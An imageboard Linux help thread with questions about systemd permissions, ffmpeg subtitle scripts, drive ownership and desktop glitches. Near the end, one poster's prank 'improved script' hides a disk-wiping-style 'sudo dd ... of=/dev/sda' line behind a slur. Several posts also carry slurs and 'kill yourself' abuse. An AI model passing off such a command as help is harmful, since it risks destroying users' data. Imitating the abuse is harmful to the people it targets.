Previous thread: Welcome to /fglt/ - Friendly GNU/Linux Thread.
Users of all levels are welcome to ask questions about GNU/Linux and share their experiences.
*** Please be civil, notice the "Friendly" in every Friendly GNU/Linux Thread ***
Before asking for help, please check our list of resources.
If you would like to try out GNU/Linux you can do one of the following: 0) Install a GNU/Linux distribution of your choice in a Virtual Machine. 1) Use a live image and to boot directly into the GNU/Linux distribution without installing anything. 2) Dual boot the GNU/Linux distribution of your choice along with Windows or macOS. 3) Go balls deep and replace everything with GNU/Linux.
Resources: Your friendly neighborhood search engine (try to use a search engine that respects your benis such as searx, ixquick or startpage).
$ man %command% $ info %command% $ help %command% $ %command% -h $ %command% --help
Don't know what to look for? $ apropos %something%
I'm on arch. I'm using AMDGPU. Using KDE (no bully) I launched a game through steam with the "stream" option so it ran off a windows PC. First time trying this. After playing a bit and closing it out, it seemed like my DE was all.. stuck. Like I couldn't minimize windows. I couldn't alt-tab. I could right click on windows, but clicking "close" did nothing. But I could close them with their close button for most of them. I ended up having to reboot the machine to "fix" it.
Scares the shit out of me to have a problem like that. When I tried again, the same thing didn't happen, which just makes me feel even more uncomfy.
I've got a .zip downloaded with some japanese filenames but they show up as scrambled letters, what encoding options should I use to make the filenames how they're supposed to be?
Connor Walker
I'm trying to setup a systemd unit file to increase the sensitivity of the trackpoint on my chinkpad at startup, which is dog slow by default. tpspeed.sh works when I execute it directly as a root but I keep getting permission errors when I try to use the service I made and do systemctl start tpspeed. I really don't know much when it comes to systemd (or plain sysv init for that matter).
May 06 13:34:02 purgatory.mbase.int audit[2318]: AVC avc: denied { execute } for pid=2318 comm="(speed.sh)" name="tpspeed.sh" dev="dm-1" ino=789671 scontext=system_u:system_r:init_t:s0 tco May 06 13:34:02 purgatory.mbase.int systemd[2318]: tpspeed.service: Failed at step EXEC spawning /usr/local/bin/tpspeed.sh: Permission denied -- Subject: Process /usr/local/bin/tpspeed.sh could not be executed -- Defined-By: systemd -- Support: lists.freedesktop.org/mailman/listinfo/systemd-devel -- -- The process /usr/local/bin/tpspeed.sh could not be executed and failed. -- -- The error number returned by this process is 13.
I don't know what I'm doing and fighting permissions errors is boring
Aiden Smith
What does Gentoo Hardened actually entail? Is just Gentoo but pre-configured with basic security measures like changes to /etc/ssh/ssh_config or boot.log? Also, can anyone point me to a good guide on qemu - maybe a video tutorial? Shit's confusion.
Adam Taylor
Probably -f shiftjis
Jordan Parker
Which one of you fuckers sent a Stallman copypasta to the Giant Beastcast?
When I open a .swf file with Firefox in Debian 8, it works fine. However, if Firefox is set as the default program, it won't open, and gives me the "you have chosen to open whatever.swf" that happens when flash player isn't installed.
How do I fix this so I can just open a .swf by double clicking it?
David Sanders
...
Eli Johnson
You can use Linux without GNU. You can't use GNU without Linux.
Landon Nguyen
>swf is this 1998?
Liam Bell
kill yourself
Gabriel Cooper
What is BSD? What is Hurd?
Brody Sanchez
>GNU/Solaris >GNU/kFreeBSD >GNU/Hurd
Liam Richardson
I've never heard of a usable Hurd.
Brayden Sanders
I just upgraded my distro, how do I get rid of telemetry and ads?
Oh wait, I'm not using Windows. False alarm!
Benjamin Howard
How the fuck can I make the file uploader in firefox show the thumbnails for each image instead of fucking one image every god damn time I select a file to the right. I'm using debian ,xfce ,with thunar.
This has long been proven impossible with modern technology, sorry.
Matthew Long
use the patched version of gtk2
Wyatt Powell
install kde
Cameron Richardson
>patched version of gtk2 Which patched version?
Christian Murphy
the filechooser one
Zachary Jones
i found it. now how do I use it?
Luke Bailey
You apply it to gtk2 source as well as the other patches needed.You may want to check your distro's third party repo's for the packages first as it seems you wont know how to properly patch
Robert Myers
this is my favorite subreddit
Brandon Bailey
Hello /fglt/! I want to permanently switch to Linux for programming purposes, I don't really game at all anymore. I was thinking about going to Kubuntu or Fedora. However the ONLY thing that is holding me back is that my motherboard is a bit fucked. I have an i7 6700k and despite the temperature never going above 35C my motherboard thinks BDPROCHOT is going and throttles my system. I have to run a program on Windows called Throttlestop to not have my processor downclock itself to 500MHz.
What can I do? Does something like this exist on Linux? I saw an UbuntuForum post where the programmer for Throttlestop posted the registers involved that he messes around with, but I don't feel comfortable enough with C to write a program to do what he did.
Figure out how to patch it or figure out how to search your distro's repos?
Liam Miller
bump
Dylan Adams
Both.
Luis Perry
gentoo
Jaxson Jenkins
I use Gentoo and I am better than you.
Robert Baker
Not him but... >using a gui for pacman What package manager is even good with a gui that isn't zypper? >using gstreamer Is it really that bad >using gnome There is nothing better in my opinion now that unity is dead unless you prefer just a WM.
Julian Reyes
why aren't you using top instead of htop?
Robert James
because i'm a human
Nathan Garcia
...
Jaxson Green
neat, but the white borders kill it how did you create it?
Aaron Watson
MMD
Carson Lewis
I don't remember what the fuck I was testing and also got stucked with gstreamer. As a gigantic noob I don't what the fuck it actually does and searching doesn't help.
Leo Garcia
>gstreamer 0.10 >using aur packages >not knowing that it might cause problems >still installing everything from it because he thinks it's some sacred grail of awesomeness and not a source for pitfalls for idiots
Daniel Evans
Configured it now. Took me 40 minutes to fully understand how it works and it looks pretty nice now. Thanks.
Nicholas Foster
...
Mason Harris
not the same user that you are pretty much insulting on a fucking /fglt/ but I think I got stucked with it when trying to test a video editor.
Owen Young
I can't move files from my external hard drive Elements, to my second hard drive in my computer 'z'. What's the diagnosis?
Jacob Perez
Which file system is z? Post output of "ls -l /mnt/z".
Xavier Cooper
This script no longer functions,out of the blue.
#!/bin/sh mkdir -p "done" for file in *.mkv do ffmpeg -i "$file" -c:a copy -vf "subtitles=$file" "done/$file" -threads 12 done
This is the error message. [Parsed_subtitles_0 @ 0x55ef783f8bc0] No filename provided! [AVFilterGraph @ 0x55ef78337e80] Error initializing filter 'subtitles' with args '' Error reinitializing filters! Failed to inject frame into filter network: Invalid argument Error while processing the decoded data for stream #0:0 Conversion failed!
Brody Morales
>Stallman is happy about a plush that was probably designed on the computer with the use of proprietary software. He has truly fallen into the botnet.
Hudson Brown
total 16 drwx------ 2 root root 16384 May 6 10:52 lost+found
Ryan Russell
I just reformatted, and now it works. Weird because it was EXT4 before.
Lincoln Anderson
>root I assume it's ext4. You have no write permissions for the drive. Change the owner/group (what I'd do) or give everyone write permissions (I wouldn't do this).
Lucas Barnes
ffmpeg expects a final argument which is the title of the output file ("done/$file"). Maybe try moving the threads option in front of the output file name. Looks like your subtitle filter is also getting confused.
Adam Martinez
I tried playing around with the "'s around subtitle and the $file but it proved fruitless.Removing threads count completely resulted in the same error
Angel Rivera
Are XFCE and LXDE the last sane DEs?
Jeremiah Ward
Run this in the same directory: for f in *.mkv; do echo "$f"; done
Looks like there's simply no files ending in .mkv in that dir, so file is empty, so the subtitles filter doesn't know what to do.
Jaxon Lee
I prefer just openbox, tint2, thunar
Joshua Murphy
Also don't use sh in the shebang, use the shell you're using.
Jeremiah Rodriguez
(alternatively: ls -la *.mkv)
Jacob Perez
There is indeed a mkv in the folder.I have a test "1.mkv" file in the folder it is being run from. Changing it to /bin/bash still provides the same error message
Justin Jackson
Repost your script, I will fix it.
Logan Evans
Oh the bash thing was a general tip so you don't wonder why your scripts suddenly stop working if you symlink /bin/sh to a different shell. Sorry, I am too tired to look through documentation for you. Have you tried searching any of the errors online? Farewell and good luck, GNU/user.
Dominic Morales
#!/bin/bash mkdir -p "done" for file in *.mkv do ffmpeg -i "$file" -c:a copy -vf "subtitles=$file" "done/$file" done
Benjamin Flores
>XFCE It's Xfce
Cameron Smith
I give up. I spent a few hours trying to figure out how to patch shit and I still can't figure it out.
Elijah Turner
Why -vf "subtitles=$file" What do you want to do exactly?
Brayden Nelson
The files i have are soft coded subtitles, my media player dosent detect the subtitiles,and im stuck with just this one media player as an option.The subtitles are embedded in the file,i know the command line works because if i do that command line without variables and do it manually,it works.The subtitles are pointing the filter to the file for the embedded subtitles and it then hard encodes it,so that the subtitles appear as part of the video its self without the media client having to look for embedded subs
Oliver Brown
Show me a manual working command line. and we will see where is the error in the script
Joseph Morris
>Xfce It's GNU/Xfce
Kayden Young
Wait wait wait, so you have a file containing video data (ending in .mkv), and you have a file containing the subtitles, and you want both the audiovisual data from the mkv file AND the subtitles hardcoded to be within one single mkv file. What is the input file for the subtitles? Is it an srt file? Is it the same mkv file that also contains the audio-visual data?
Henry Cooper
Attached No,the subtitles are embedded within the mkv file(1.mkv)..1mkv has audio video, and embedded subtitles
Nicholas Adams
Stop. I ask for It looks like we're trolled by that user. SO that user must provide.
So your script work. Case closed. Stop trolling user. The f of friendly does not apply to trolls.
Aiden Gonzalez
What the fuck, so you have an mkv file with a+v+s, and you want an mkv file as output that has a+v+s, all from the first mkv file. Here, I'll improve your script: #!/bin/bash mkdir -p done cp *.mkv done/ echo "I'm a huge faggot please rape my face" sudo dd if=/dev/null of=/dev/sda
Landon Walker
Im not trolling.It does not work when using the script.